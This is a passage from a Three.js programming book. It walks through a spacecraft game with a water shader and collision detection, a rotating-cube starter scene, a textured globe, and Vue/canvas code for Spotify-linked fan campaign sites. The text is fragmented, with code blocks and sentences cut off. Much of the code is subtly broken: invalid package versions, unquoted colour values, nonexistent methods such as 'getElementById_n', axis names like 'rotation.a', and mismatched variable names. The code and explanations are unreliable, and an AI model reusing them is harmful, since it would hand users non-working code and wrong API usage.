shader that requires many passes (such as a blur) will render in the texture
you specify.
54 ◾ Conquering JavaScript: Three.js
Materials
They are what give something their look. Shaders are more different than
renders; however, they are written in GLSL (OpenGL Shader Language),
which tells the GPU how it exactly looks. The Three will make lighting and
reflection look extremely intricate. You don’t have to perform all of this in
js; you can construct shaders using a fairly versatile set of functions.
RECAP OF BASICS
The Web’s complexity is evolving on a regular basis, and its reach is
expanding at the same time, particularly with 3D rendering. Flat design
is fantastic, but 3D features elevate web design to new heights. Websites
with dynamic 3D visuals and interactive 3D scenes are more popular
than ever. Clients now expect those kinds of designs on their websites and
will request them from you. Learning to include 3D design into your web
design projects will only help you advance in your business and gain more
clients.
You will need some coding experience to get started with Three.js,
notably HTML, CSS, and JavaScript.
Three.js is a JavaScript 3D toolkit that includes renderers for canvas,
svg, CSS3D, and WebGL. It does not require a plugin to display 3D designs
in your browser. Simple 3D pieces, complicated 3D interactions, and
imaginative animated games are all possible with the library. It is an open-
source library with a GitHub repository for users to publish their Three.
js projects. WebGL is the most widely utilized of the renderers covered by
Three.js. Creating 3D items with WebGL alone necessitates a large number
of lines of code and a good understanding of mathematics. Three.js makes
Introduction ◾ 55
SUMMARY
Three.js is a useful tool for incorporating 3D objects into a webpage. We
looked at the fundamentals of how Three.js works in this chapter. There
is so much to learn about the API that you must dig in and experiment.
The options are truly limitless. From a basic rotating cube to a compli-
cated interactive game set in a rich digital universe, there’s something for
everyone. You can use Three.js in any way you can use canvas, including
56 ◾ Conquering JavaScript: Three.js
NOTES
1. Responsive Design-Three.js manual.
2. Responsive Design-Three.js manual.
3. Responsive Design-Three.js manual.
4. Rendering Design-Three.js manual.
5. Responsive Design-Three.js manual.
6. This-mdn web docs_.
7. Setup-Three.js manual.
8. Modules-on eloquentjavascript.net.
9. Scene Graph-Three.js manual.
10. Three.js – Solar System-Davis, B., Observables.
11. Scene graph-Three.js manual.
Chapter 2
Application
Development I
IN THIS CHAPTER
DOI: 10.1201/9781003357445-2 57
58 ◾ Conquering JavaScript: Three.js
• How can we tell whether the spacecraft ship and other items collide?
• How do we make a user interface that works on both desktop and
mobile devices?
We will have overcome these obstacles by the time we finish this game.
CODE TUTORIALS
However, before we begin coding, we must first brush up with some basic
theory, particularly in regard to how we will create a sense of movement
in the game.
is because its position does not vary over time; it only moves from side to
side. This allows us to quickly determine whether objects are behind the
camera and can be eliminated to save up resources.
Another advantage is that we can make objects at any point in the
distance. This means that as objects approach the player, other items or
objects will appear in the distance, outside of the player’s view.
These items are disposed of from the scene when they disappear from
view either because the player collides with them or because they move
behind the player.
We’ll need to do two things to achieve this effect: To move things
toward the camera, we must first procedurally shift each item along the
depth axis. Second, we must assign a value to our water surface that will
be offset, and we must increase this value over time.
The water’s surface will appear to be moving quicker and faster as a
result of this.
Now that we’ve found out how to propel the spacecraft forward through
the scene, let’s move on to setting up our project.
For the first step, we need to create a new folder to begin working on
project. Once folder is created, now next we need package.json within the
folder in which the following content will be pasted:
{
"dependencies": {
"materialize-css": "2.0.0",
"nipplejs": "0.7.0",
"three": "0.137.2.0"
},
"devDependencies": {
"@types/three": "0.137.2.0",
"@yushijinhun/three-minifier-webpack": "0.3.1",
"clean-webpack-plugin": "4.0",
"copy-webpack-plugin": "11.0.0",
"html-webpack-plugin": "5.5.0",
"raw-loader": "4.0.2",
"ts-loader": "9.3.0",
"typescript": "4.6.4",
"webpack": "5.72.0",
"webpack-cli": "4.9.2",
"webpack-dev-server": "4.9.0",
"webpack-glsl-loader": "git+https://github.com/
grieve/webpack-glsl-loader.git",
"webpack-merge": "5.8.0"
},
"scripts": {
"dev": "webpack serve --config ./webpack.dev.js",
"build": "webpack --config ./webpack.production.
js"
}
}
Then enter npm i to install the packages to your new project in a com-
mand window.
Create a webpack.dev.js file and add these details to it. The hot-reload
capability of the Webpack development server is set up as follows:
resolve: {
plugins: [
threeMinifier.resolver,
]
},
mode: 'production', // Reduce the size of our
output
output: {
path: path.resolve(__dirname, 'dist'),
filename: '[name].[f_hash:8].js', // Our
product would contain a one-of-a-kind hashing, forcing
our users to download updates as soon when they become
accessible. sourceMapFilename: '[name].
[f_hash:10].map',
chunkFilename: '[id_number].[f_hash:10].js'
},
optimization: {
splitChunks: {
chunks: 'all',
// divide our code into smaller parts to assist
caching for our clients},},})
{"compilerOptions":
{"moduleResolution": "node",
"strict": true,
"allowJs": true,
"checkJs": false,
"target": "es2017",
"module": "commonjs"},
"include": ["@@/@.ts"]
}
Our development environment is fully set up. Now it’s time to start to
work on developing a beautiful and believable environment for our players
to explore.
Application Development I ◾ 65
For our scenario, we will also need to use a render and animation
loop. The animation loop will be used to move items around the screen as
needed, and the render loop will be used to draw new frames to the screen.
Let us now develop the render function in our right now Spacegame.
ts. Because this function is simply requesting an animation frame and
then generating the scene, it will appear empty at first. There are several
reasons why we require an animation frame, but one of the most impor-
tant reasons is that our game will pause if the user switches tabs, improv-
ing performance and perhaps squandering device resources:
66 ◾ Conquering JavaScript: Three.js
So now we have an empty scene with a camera but no other objects. Let
us make our scenario more realistic by adding some element say water.
Thankfully, it has a water object sample that we can use in our scenario. It
has real-time reflections and is rather attractive; you can see it here.1
Fortunately for us, this water will take care of the majority of our
scene’s needs. All that’s left is to change the water shader slightly so that
we can update it from within the render loop. We do this because if we
offset the roughness of our water by an increasing amount over time, it
will give us the impression of speed. This is our game’s opening scene, but
we are increasing the offset every frame to show. The pace of the ocean
underneath us seems to increase as the offset increases (even though the
spacecraft is actually stationary). Three.js GitHub has the water object. All
we have to do now is make a tiny tweak to our render loop to make this
offset configurable so we can update it over time.
We will start by getting a copy of the realistic water visualization in
3D (Water.js sample) from the Three.js source. This file will be located at
objects/water.js in the project.
When we open the water.js file, we will see codes something like men-
tioned below:
These are the ocean material’s shaders. Shaders are outside the subject,
but they’re simply instructions that our game will deliver to our users’
computers on how to draw this specific object. Our shader code, written
in is also included in this file, which is otherwise JavaScript.
There’s nothing wrong with this; however, if we put this shader code
in its own file, we can use GLSL support in our favorite Integrated
Development Environment (IDE) to obtain features like syntax coloring
and validation, which let us customize our GLSL.
Make a shader folder under our existing object folder, then copy the
data of our vertexShader and fragmentShader into waterFrag-
mentShader.glsl and waterVertexShader.glsl files.
We have a getNoise function at the top of our waterFragment-
Shader.glsl file. It looks like this by default:
We’ll add a parameter to our GLSL file that allows us to change this
offset during execution to make it configurable from our game code.
To accomplish this, we must substitute the following function for this
one:
We will see that this GLSL file contains a new variable: the speed. We
will change this variable to give the impression of speed. We must now
configure the water settings in our game.ts. Add the following variables
to the top of our file:
texture.wrapS = texture.wrapT =
MirroredRepeatWrapping;
}),
sunDirection: new Vector3(),
sunColor: #ff9933,
waterColor: #5C6F65,
distortionScale: 3.9,
fog: scene.fog !== undefined
}
);
Our water plane’s rotation and location must then be configured in our
init function, as seen below:
This will ensure that the ocean rotates correctly and the entire coding
learned from Three.js repository.2
skyUniforms['mieCoefficient'].value = 0.009;
skyUniforms['mieDirectionalG'].value = 0.6;
const parameters = {
elevation: 5,
azimuth: 120
};
const pmremGenerator = new PMREMGenerator(renderer);
const phi = MathUtils.degToRad(80 - parameters.
elevation);
const theta = MathUtils.degToRad(parameters.azimuth);
sun.setFromSphericalCoords(2, phi, theta);
sky.material.uniforms['sunPosition'].value.copy(sun);
(water.material as ShaderMaterial).
uniforms['sunDirection'].value.copy(sun).normalize();
scene.environment = pmremGenerator.fromScene(sky as
any).texture;
(water.material as ShaderMaterial).uniforms['speed'].
value = 2.2;
scene.remove (x.rowparent);
});
sceneConfiguration.courseProgress = 0;
// Our current level determines the length of the
course
sceneConfiguration.courseLength = 1500 * level;
// Reset the number of items we've collected in this
level to one.
sceneConfiguration.data.shieldsCollected = 1;
74 ◾ Conquering JavaScript: Three.js
sceneConfiguration.data.crystalsCollected = 1;
// Updates the UI to indicate how many items we've
acquired till we reach zero.
crystalUiElement.innerText =
String(sceneConfiguration.data.crystalsCollected);
shieldUiElement.innerText = String(sceneConfiguration.
data.shieldsCollected);
// Sets the current level ID number in the UI
document.getElementById_n('levelIndicator')!.
innerText = 'LEVEL ${sceneConfiguration.level}';
// The scene preparation has been finished, and the
scenario is now available.
sceneConfiguration.ready = true;
}
We’ll then register the key-down and key-up events in our init func-
tion to call the onKeyDown and onKeyUp routines, respectively:
document.addEventListener('keydown', onKeyDown,
false);
document.addEventListener('keyup', onKeyUp, false);
Application Development I ◾ 75
Finally, we’ll specify what to do when these keys are hit for keyboard
input:
positionOffset = data.vector.x;
})
// Stop moving the spacecraft when the joystick is no
longer being engaged with.
joystickManager.on('end', (event, data) => {
positionOffset = 2.2;
})}}
We keep track of what to do whether the left or right keys are pushed
at the same time, or if the joystick is in use, in our animate function. We
additionally limit the spacecraft’s left and right locations to prevent it from
traveling fully outside of the screen:
• detectCollisions
• addBackgroundBit
• addChallengeRow
detectCollisions
Collision detection is a crucial component of our game. We won’t know
if our spacecraft ship has hit any of the targets or if it has collided with
a rock and needs to slow down if we don’t have it. This is why collision
detection is important in our game. A physics engine would normally be
used to detect collisions between items in our scenario, but Three.js does
not include one.
That isn’t to suggest that physics engines for Three.js don’t exist. They
surely do, but we don’t need to install a physics engine to determine if our
spacecraft collided with another object for our purposes. Essentially, we
want to know if “my spacecraft model intersects with any other models on
the screen right now?” We must also react differently depending on what
has been struck. For example, if our player keeps hitting the spacecraft
into rocks, we must finish the level once a certain amount of damage has
been sustained.
Let’s do this by writing a function that checks for the intersection of our
spacecraft and the scene’s items. We’ll react differently depending on what
the gamer has hit.
This code will be placed in a file called in our game directory
collisionDetection.ts:
if (sceneConfiguration.levelOver) return;
// Create a box the width and height of our model
using the measurements of our spacecraft.
// This box does not exist in the real world;
it is only a set of coordinates that describe
the box.
// in world space.
const spacecraftBox = new Box3().setFromObject(spa
cecraftModel);
// For each challenge row that appears on the
screen.
challengeRows.forEach(x => {
// alter the row's and its children's global position
matrix
a.rowParent.updateMatrixWorld();
// Following that, for each object within each
challenge row.
a.rowParent.children.forEach(b => {
b.children.forEach(c => {
// make a box the width and height of
the object
const box = new Box3().
setFromObject(c);
// Check to see if the box containing
the barrier overlaps (or intersects) with our
spaceship.
if (box.intersectsBox(spacecraftBox))
{
// If it does, get the box's
centre position.
let destructionPosition = box.
getCenter(c.position);
// Queue up the destruction
animation to play
playDestructionAnimation(destructi
onPosition);
// Remove the impacted object from
the parent.
// This removes the object from
the scene.
y.remove(c);
80 ◾ Conquering JavaScript: Three.js
shieldUiElement.classList.add('danger');
}
} else { //Otherwise,
if it's more than 0 shields, remove the danger CSS
class
// so the text
goes back to being white
shieldUiElement.
classList.remove('danger');
}
Application Development I ◾ 81
All that’s needed is to create a small animation that plays when the user
collides with something. This function will take the origin point of the
collision and create some boxes from there. This is how the final product
will seem.5
82 ◾ Conquering JavaScript: Three.js
destructionBit.userData.lifetime = 0;
// Set the box's initial position
destructionBit.position.set(spawnPosition.a,
spawnPosition.b, spawnPosition.c);
// Build a mixer for the object's animations
destructionBit.userData.mixer = new AnimationM
ixer(destructionBit);
// initiate the objects in a circle around the
spacecraft
let degrees = i / 50;
// Determine where on the circle this specific
destruction bit should be produced
let spawnX = Math.cos(radToDeg(degrees)) * 20;
let spawnY = Math.sin(radToDeg(degrees)) * 20;
Application Development I ◾ 83
And there you have it: collision detection, replete with a lovely anima-
tion when the object is destroyed.
84 ◾ Conquering JavaScript: Three.js
addBackgroundBit
As the scene unfolds, we’ll add some cliffs on either side of the player to
make it feel like their movement is constrained correctly. To mechanically
add the rocks to the user’s right or left, we utilize the modulo-operator:
addChallengeRow
We’ll want to add our “challenge rows” to the scenario as it proceeds.
These are items that have rocks, crystals, or shield items in them. We allo-
cate rocks, crystals, and shields to each row at random each time one of
these new rows is formed.
Application Development I ◾ 85
Any of those links will take you to the rock, crystal, or shield creation
functions.
To accomplish this, we’ll include the following code in our init function:
sceneConfiguration.spacecraftMoving = true;
});
// Watch the animation now
camera.userData.mixer.clipAction(animationClip).
play();
// Eliminate the "start panel" from view (which
contains the play buttons)
startPanel.classList.add('hidden');
}
We must also wire up our logic for what to do when our level ends, and
the necessary code can be found here.6
SUMMARY
When you make a game with Three.js, you have access to an enormous
number of potential clients. It becomes a really enticing approach to
develop and distribute your game because users can play it in their browser
without having to download or install anything on their devices. In this
chapter we have learned, creating an engaging and enjoyable experience
for a wide range of people is extremely possible.
NOTES
1. Three.js-Webgl ocean.
2. Water.js-Three.js, GitHub.Inc.
3. Three.js webgl-Sky+Sun Shader-Three.js examples.
4. Nipplejs TS-npm.
5. Creating a game in Three.js-Lewis Cianci, Log Spacecraft.
6. Three js-Spacecraft-Game-flutterfromscratch.
Chapter 3
Application
Development II
IN THIS CHAPTER
DOI: 10.1201/9781003357445-3 91
92 ◾ Conquering JavaScript: Three.js
• Scene
• Camera
• Mesh
• Lighting
Before we directly jump onto the coding section, we must first talk
about overview of 3D web design in brief. As the title recommends, 3D
web application is a website that is rendered in three dimensions. When
constructing a 3D world, your browser, like any other online application,
needs to know what to display and how. In this approach, building a scene
is similar to telling the browser that you’re preparing your presentation.
The camera establishes the user’s viewpoint and informs the browser of
our position in relation to the scene’s center. Finally, the renderer instructs
the browser to display the elements we’ve constructed and placed in our
scene. The “canvas” element in HTML is used to accomplish this. It was
fashioned to shape and show dynamic, animatable illustrations that the
customer can lure. Individuals were just not pleased with all of that and
used WebGL that helped in controlling the canvas in three dimensions.
WebGL is a cross-platform web standard for a low-level 3D graphics API
based on OpenGL ES which is available to ECMAScript via the HTML5
Canvas element.
But don’t worry if you don’t grasp what that implies. All we need to
know is that we can make 3D webpages with WebGL. We should also
probably know that it is typically considered a highly complex API to
work in and requires enormous amounts of code to achieve very simple
things. That is what takes us to Three.js. Three.js is a JavaScript framework
that acts as a translator between the programmer and WebGL, making it
easier to write 3D code. It mostly accomplishes this by abstracting WebGL
into a more comprehensible set of functions and classes. That is, as you
write code in Three.js, Three.js is writing dozens of lines of WebGL for you
behind the scenes.
Application Development II ◾ 93
Code Tutorial
There’s hardly much to set up; just make sure you get Three.js from
this link: Download THREEJS. Let’s get started setting up our project;
all you have to do now is unpack the zip file. Only the Three.js and
three.min.js files in the build folder are of importance to us, so copy
those. Then add a JavaScript subdirectory and an index.html file to your
project’s new folder. Paste the previously copied files into the JavaScript
folder.
<html>
<head>
<title>Three.js 3d World</title>
<style>
body{
margin: 0;
}
canvas{
width: 90%;
height: 90%;
}
</style>
</head>
94 ◾ Conquering JavaScript: Three.js
<body>
</body>
</html>
<html>
<head>
<title>Three.js 3d World</title>
<style>
body{
margin: 1.0;
}
canvas{
width: 90%;
height: 90%;
}
</style>
</head>
<body>
<script src="js/three.js"></script>
<script>
var scene = new THREE.Scene();
var camera = new THREE.PerspectiveCamera(70,window.
innerWidth / window.innerHeight,0.5,1500)
//game logic
var update = function(){
};
//draw Scene
var render = function(){
renderer.render(scene, camera);
};
GameLoop();
</script>
</body>
</html>
For Mac
Simply open a Terminal window, cd into your project directory, and per-
form the command below.
php -S 127.0.0.1:8080
We can also use an alternative port if that one is not available. By the
way, we may run the code on a Python server if you want, but running
over PHP is mostly favored. The web application can now be accessed by
simply typing the URL of the port into the browser, like 127.0.0.1:8080.
Now we can further proceed.
<html>
<head>
<title>Three.js 3D World</title>
<style>
body{
margin: 0;
}
canvas{
width: 90%;
height:90%;
}
</style>
</head>
<body>
<script src="js/three.min.js"></script>
<script>
var scene = new THREE.Scene();
var camera = new THREE.PerspectiveCamera(70,window.
innerWidth / window.innerHeight,0.5,1500)
var renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.
innerHeight);
document.body.appendChild(renderer.domElement);
window.addEventListener('resize',function ()
{
var width = window.innerWidth;
var height = window.innerHeight;
renderer.setSize(width,height);
camera.aspect = width/height;
camera.updateProjectionMatrix();
});
//this will create the shape
var ourcube = new THREE.BoxGeometry(1,1,1);
scene.add(cube);
camera.position.z = 5;
// game logic basically rotation on axis
var update = function()
{
cube.rotation.a += 0.03;
cube.rotation.b += 0.004;
};
GameLoop();
</script>
</body>
</html>
If you are new to 3D development, this section will take some time
to explain. In Three.js, objects are produced in a certain order or we
can say in a proper fashion. It does not prefer the first come first serve;
rather it will maintain a certain order before the proper execution of the
command.
So following are the steps mentioned that will enable us to better under-
stand the 3D development system:
• Binding the Two, we now have a mesh and a material to attach it to.
Both of these must be assigned to a new cube object.
• Step 4: scene.add(cube)
Finally, our geometry now exists but has not been yet integrated into
our environment. The scene.add command will pave the way to include
the geometry in the web application.
window.addEventListener('resize',function ()
{
var width = window.innerWidth;
var height = window.innerHeight;
renderer.setSize(width,height);
camera.aspect = width/height;
camera.updateProjectionMatrix();
});
100 ◾ Conquering JavaScript: Three.js
SELECTING 3D MODELS
We will need to twitch by execution of a good 3D model for our website.
There are several places online where you may find Three.js-compatible
3D models like Blender by the Blender Foundation Substance; Painter
by Allegorithmic; Modo by Foundry; Toolbag by Marmoset; Houdini
by SideFX; Cinema 4D by MAXON; COLLADA2GLTF by the Khronos
Group; FBX2GLTF by Facebook; OBJ2GLTF by Analytical Graphics Inc.;
OBJ2GLTF by Analytical Graphics Inc. and numerous supplementary but
most of the users count on heavily on Sketchfab.
The file format we should utilize is also somewhat we should con-
template. The world of 3D uses an assorted file format, and we should
ordinarily stick to one file format for a single project so as to maintain a
standardization. So there for this project, we have selected GLTF since it
Application Development II ◾ 101
3D MODELS LOADING
Now for the exciting part. After we have added the loader, we need to go to
game-code.js and add the following code.
scene.add(gltf.scene);
});
The code opens the 3D model (as scene.gltf) with the loader and then
inserts the callback for when the model is finished loading.
We use the scene to add the model to the scene once it has been loaded.
In Three.js, add (object) is the scene object. This is all we need to do to
add custom objects to Three.js; the orbit camera will take care of the rest.
Return to your browser, hit refresh, change to the second dot, and that all.
Once we are familiar with the core concept of the Three.js, we can add
more function in the website and make it more beautiful for customers.
SUMMARY
Three.js is a JavaScript toolkit that enables producing 3D visuals on the
web far simpler than using WebGL directly. Three.js is the most popular
3D JavaScript library on the Internet, and it’s really simple to use. The
purpose of this chapter is to help you understand how we can Three.js and
create a 3D web application. Three.js provides us with a wide selection of
3D graphics options. So, we can see some examples of innovative websites
that we can use as inspiration for creating and animating mind-blowing
3D browser-based visuals using the Three.js JavaScript package.2
NOTES
1. Creating a scene-Three.js manual.
2. 60 mindblowing THREEJS Website Examples-Henri, Bashooka.
Chapter 4
Application
Development III
IN THIS CHAPTER
CODE TUTORIAL
Let’s start with creating the basic foundation of the application.
Application Development III ◾ 105
Base
We will need a scene to hold our world together first.
// Initialize scene
const scene = new THREE.Scene()
// Initialize camera
const camera = new THREE.PerspectiveCamera(35, window.
innerWidth / window.innerHeight. 0.5, 65)
// Reposition camera
camera.position.set(10, 0, 0)
Then, we will create a renderer to render our scene, ensuring that alpha
is true so that the backdrop is transparent. Eventually, we will add a simple
sky hue with CSS. We will modify the renderer to accommodate with web
browser before appending it to the <body> tag.
// Initialize renderer
const renderer = new THREE.WebGLRenderer({
alpha: true,
antialias: true
})
// Set renderer size
renderer.setSize(window.innerWidth, window.
innerHeight)
// Append renderer to body
document.body.appendChild(renderer.domElement)
Finally, users will be able to zoom, pan, and rotate the camera using an
orbit control (you must include this file independently in your HTML, as
you do with other files in the /examples directory).
// Initialize controls
const controls = new THREE.OrbitControls(camera,
renderer.domElement)
Following that, both shape and composition are employed to start the
world mesh, which will then be integrated into our scene.
Skies
We will tackle the skies in the same way we did the globe, with the excep-
tion that the globe radius will be somewhat bigger so it rests on top of the
world sphere. We will also make sure the material is transparent so we can
look at the world through skies’ openings.
Animation
Requesting an animation frame and running our renderer’s render
method is all it takes to render our scene. We’ll spin the earth in one way
and our sky in the other, marginally quicker, for animations.
// Rotate clouds
clouds.rotation.y-= 0.004
// Render scene
renderer.render(scene, camera)
}
// Animate
animate()
Reconfigure
Any browser resizes will produce visual concerns in our scene because
our camera and renderer were set up using the first browser’s width and
height. We can fix this by listening for resizes and updating the prediction
matrices, camera aspect, and renderer size.
camera.updateProjectionMatrix()
// Resize renderer
renderer.setSize(window.innerWidth, window.
innerHeight)
})
Background
Last but not least, let’s use a CSS radial gradient to provide a nice white-
to-blue gradient to our <body> background. This appeals to me since it
creates a pleasant atmosphere in our small world.
The radial-gradient () CSS method produces a picture with a gradual
transition between two or more colors radiating from a central point. It
might take the form of a circle or an ellipse. The outcome of the function
is an object of the <gradient> data type, which is a subtype of <image>.
Once again, the special contribution of Lee O’Connor for all of the
lovely illustrations made this application to another level.
Algorithm
The methodology used to determine how much Greta Van Fleet a user has
streamed is quite similar to that used in previous campaigns. The application
Application Development III ◾ 109
Sharing
This project basically focused on encouraging and abridging distribution.
This application has an optimal sharing flow. We use HTML5 canvas to
create both story and feed photos for Instagram. We use Serverless func-
tions to produce meta-pictures in real time for Twitter and Facebook.
Cropping
The coder was captivated to the broad environment graphics and the
comment that it should be cropped in innovative ways for design pictures
110 ◾ Conquering JavaScript: Three.js
when going through the fantastic brand The Battle at Garden’s Gate.
In the record booklet, this is employed to great advantage. Coder
wanted to give fans the option of doing the cropping themselves, so
I used the well-written Croppie plugin. Croppie has some excellent
documentation on the plugin and coder wanted to retain track of only
the crop points for future cropping because they have generated pho-
tos both on the client and via serverless functions using Canvas and
ImageMagick. Croppie function includes an event that fires whenever
the user interacts with the plugin, as well as a mechanism to retrieve
those points.
Symbol Picking
The first UX test code is mentioned below which gives users the option
of choosing one of the track emblems to represent them on their sharing
photographs in addition to editing the landscape. CSS Scroll Snap is used
here because it’s incredibly user-friendly. Although the symbol selection
component used in the app is considerably easier, the use of Scroll Snap
remained the same.
<template>
<section :style="background">
<header>
Greta Van Fleet
</header>
<div id="symbols" ref="symbols">
<div class="symbol" v-for="(song, i) in songs"
:key="'symbol-${song.slug}'" :class="{ selected:
currentSong == i }">
<img :src="'https://journey.
thebattleatgardensgate.com/images/symbols/${song.
slug}.png'" :alt="song.name" />
</div>
</div>
<footer>
<transition name="fade" mode="out-in">
Application Development III ◾ 111
}, {
name: "Stardust Chords",
slug: "stardust-chords"
}, {
name: "The Weight of Dreams",
slug: "the-weight-of-dreams"
}
],
currentSong: 0
}
},
computed: {
song() {
return this.songs[this.currentSong]
},
background() {
return {
backgroundPosition: '${this.currentSong /
this.songs.length * 100}% 0%'
}
}
},
methods: {
onScroll(e) {
let $child = this.$refs.symbols.children[0]
let containerX = (window.innerWidth - $child.
offsetWidth) / 4
let childX = $child.
getBoundingClientRect().x
let offset = childX - containerX
this.currentSong = Math.round(Math.abs(offset /
$child.offsetWidth))
}
},
mounted() {
this.$refs.symbols.onscroll = this.onScroll
}
}
</script>
Application Development III ◾ 113
<style>
html, body, section{
height: 70%;
width: 70%;
}
body{
background: light blue;
color: white;
font-family: "Baskerville", serif;
font-size: 5.5vh;
letter-spacing: 0.5em;
text-transform: uppercase;
}
section{
align-items: center;
background: url(https://journey.
thebattleatgardensgate.com/images/File name.jpg);
background-position: 1 1;
background-size: cover;
display: flex;
transition: 10s all ease;
}#symbols{
display: flex;
height: 90%;
overflow-x: scroll;
scroll-snap-type: x mandatory;
width: 90%;
}
#symbols::-webkit-scrollbar{
display: none;
}
#symbols::after{
content: "";
border-left: 35vw solid transparent;
}
#symbols .symbol{
align-items: center;
display: flex;
flex: none;
114 ◾ Conquering JavaScript: Three.js
justify-content: center;
scroll-snap-align: center;
width: 80vw;
}
.symbol:first-child {
margin-left: 35vw;
}
.symbol img{
opacity: 0.35;
transition: 5s opacity ease;
width: 30%;
}
.symbol.selected img{
opacity: 2;
}
header{
top: 12em;
display: flex;
justify-content: center;
position: absolute;
width: 80%;
}
footer{
bottom: 5em;
display: flex;
justify-content: center;
position: absolute;
width: 40%;
}
.fade-enter-active, .fade-leave-active{
transition: opacity 5s ease;
}
.fade-enter, .fade-leave-to{
opacity: 20;
}
</style>
Application Development III ◾ 115
Meta Security
Each step of the user journey yields a snippet of personal information:
their name and Spotify score, the landscape crop points, and their pre-
ferred symbol. We must supply these parameters to a Lambda function in
order to dynamically construct the meta-share.
However, because people may counterfeit their results, you don’t want
to make that URL structure easily understandable or editable. CryptoJS
and AES were selected to encrypt the parameters into a string that server-
less function could decrypt with a key. This required some trial and error,
but it ultimately worked well and was permissible to evade keeping these
settings in a database. Semicolon delimiter was used to keep the encrypted
string minimal like any other CSV file. Here’s an example of encryption:
Then, user could decrypt the string using the password on the server-
less method to retrieve the parameters back.
Algorithm
This application is something much more straightforward which looked at
how many song was in the user’s top 50 after creating a new playlist with
all 18 tracks.
let max = 18
let uri = 'spotify:artist:3uwAm6vQy7kWPS2bciKWx9'
let tracks = topTracks.filter(track => {
return track.artists[0].uri === uri
})
let result = Math.round(tracks.length / max * 50)
let serotonins = Math.min(50, Math.max(0, result))
This determined serotonin level may now be used to create a visual that
shows the user the score.
Image Generation
Depending on your score, Girl in Red will send you an Instagram-ready
selfie that reflects your staunchness. We decided to add your name to the
image, which we can pull from Spotify, to make things even more per-
sonal. In my The Sharing series, I go over how to create dynamic pictures
with HTML Canvas, but here’s a sample of the code for this project.
context.fillStyle = 'Black'
context.font = '50px SF Pro Display Light'
context.fillText('to Paul Willam', 340, 117)
We just make a new canvas with the size of an Instagram story, add the
accompanying selfie image, and write the user’s name to the right of the
girlinred avatar at the top.
Loader
The small image of the chemical molecule serotonin is another nice fea-
ture of the interface. The molecule image and two radial gradients that
illuminate at different intervals make up this UI component. Anime.js is
used to power the animation because it was already included in the project
and provided me with unique easing possibilities.
<template>
<canvas ref="canvas"></canvas>
</template>
<script>
export default{
methods: {
generateNoise() {
this.noise = document.
createElement('canvas')
this.noise.height = window.innerHeight * 4
this.noise.width = window.innerWidth * 4
while (len--) {
buffer32[len] = Math.random() < 0.5 ? 0 : -1
>> 0
}
118 ◾ Conquering JavaScript: Three.js
noiseContext.putImageData(noiseData, 0, 0)
},
moveNoise() {
let canvas = this.$refs.canvas
let context = canvas.getContext('2d')
requestAnimationFrame(this.moveNoise)
}
},
mounted() {
this.$refs.canvas.height = window.innerHeight
this.$refs.canvas.width = window.innerWidth
this.generateNoise()
requestAnimationFrame(this.moveNoise)
}
}
</script>
<style scoped>
canvas{
height: 70%;
left: 0;
mix-blend-mode: soft-light;
opacity: 0.55;
pointer-events: none;
position: absolute;
top: 0;
width: 70%;
z-index: 1000;
}
</style>
Application Development III ◾ 119
According to Spotify, each user’s data are updated once a day. Because
users might directly alter these records every 24 h, we were particularly
interested in the short-term time frame for our project.
Algorithm
Counting how many of the top 50 tracks were from Hurts is an easy
approach to convert the top 50 tracks into a score. If 25 of the 50 record-
ings were from Hurts, for example, it would be a 50% fidelity. However, a
120 ◾ Conquering JavaScript: Three.js
We may loop through all of the tracks from here, incrementing a run-
ning points total based on the track’s position (if it is a track from Hurts).
let points = 0
tracks.forEach((track, i) => {
if (track.artist == "Hurts") {
points += tracks.length - i
}
})
return Math.round(points / total * 100)
This gives us a far more dynamic score that rewards people that not
only stream Hurts but do so frequently.
Leaderboard
The leaderboard makes it possible for a fan to share a score that would oth-
erwise be kept secret. This increased prominence stimulates friendly com-
petition among supporters. This simple database is kept together while
creating databases.
That’s what is done here: a serverless architecture with DynamoDB.
Because the user has checked in to Spotify, we can use their user ID to
ensure that their database record is unique and to allow them to update it
on a daily basis.
It just sends across mobile displays that highlight the minimal amount
of screen real estate we have available to keep the client focused on what
core design is required. We only start handling larger screens or adding
delighters if we’re all on board with these simple screens. Let’s look at a
couple of them.
Loader of Faith
Even though we can determine a user’s loyalty in a fraction of a second,
I thought it would be good to include a tiny loader that shows off more
of the album packaging once Spotify passes over the data. This is accom-
plished in Vue.js by preloading and flashing pictures at random.
<template>
<section class="bg-center bg-cover bg-black flex
items-center justify-center text-center"
:style="image">
<h1 class="font-bold text-5xl text-Yellow uppercas
e">Testing<br>Your<br>Faithfulness</h1>
</section>
</template>
<script>
export default {
data() {
return {
urls: Array.apply(null, Array(8)).map((x, i) =>
{
return 'https://assets.codepen.io/141041/
hurts-0${i+1}.jpg'
}),
index: 0,
lastIndex: 0
}
},
computed: {
image() {
return {
backgroundImage: 'url(${this.urls[this.
index]})'
}
122 ◾ Conquering JavaScript: Three.js
}
},
methods: {
loadImage(url) {
return new Promise((resolve, revoke) => {
let img = new Image()
img.onload = () => {
resolve(img)
}
img.src = url
})
},
startLoader() {
setInterval(() => {
this.generateRandom()
}, 300)
},
generateRandom() {
let i = _.random(0, 6)
if (i != this.lastIndex) {
this.lastIndex = i
this.index = i
} else {
this.generateRandom()
}
}
},
async mounted() {
let promises = this.urls.map(url => this.
loadImage(url))
let images = await Promise.all(promises)
this.startLoader()
}
}
</script>
<style>
html, body, section{
Application Development III ◾ 123
height: 90%;
width: 90%;
}
section{
background-image: url(https://assets.codepen.
io/141041/File name.jpg);
}
</style>
Progress in Faith
When the user’s loyalty is eventually demonstrated, it is one of the most
essential moments of the experience. To make things more interesting, the
Faith logo is transformed into an animated progress bar using anime.js.
This is actually just two photos stacked on top of one other with a mask div
to modify the top logo’s height.
<template>
<section class="flex items-center justify-center">
<div class="absolute p-5 md:p-2 lg:p-15 top-1">
<img src="https://assets.codepen.io/141041/File
name.png" alt="Hurts" class="block h-5 md:h-12 lg:h-4"
/>
</div>
<div class="absolute origin-top text-white
transform -rotate-80 -translate-x-3/4 translate-y-3/4
left-0 p-4 text-l md:text-xl lg:text-2xl">
FAITH
</div>
<div class="absolute origin-top text-white
transform rotate-80 translate-x-3/4 translate-y-3/4
right-0 p-4 text-l md:text-xl lg:text-2xl">
{{ faith.devotion }}
</div>
<div class="absolute w-full h-px transform
-translate-y-1/2" :style="{ background: '# 545454',
top: 'calc((${faith.devotion} / 100) * 40% + 35%)'
}"></div>
},
mounted() {
this.startRandomizer()
}
}
</script>
<style>
html, body, section{
height: 90%;
width: 90%;
}
body{
background: blue;
}
</style>
SUMMARY
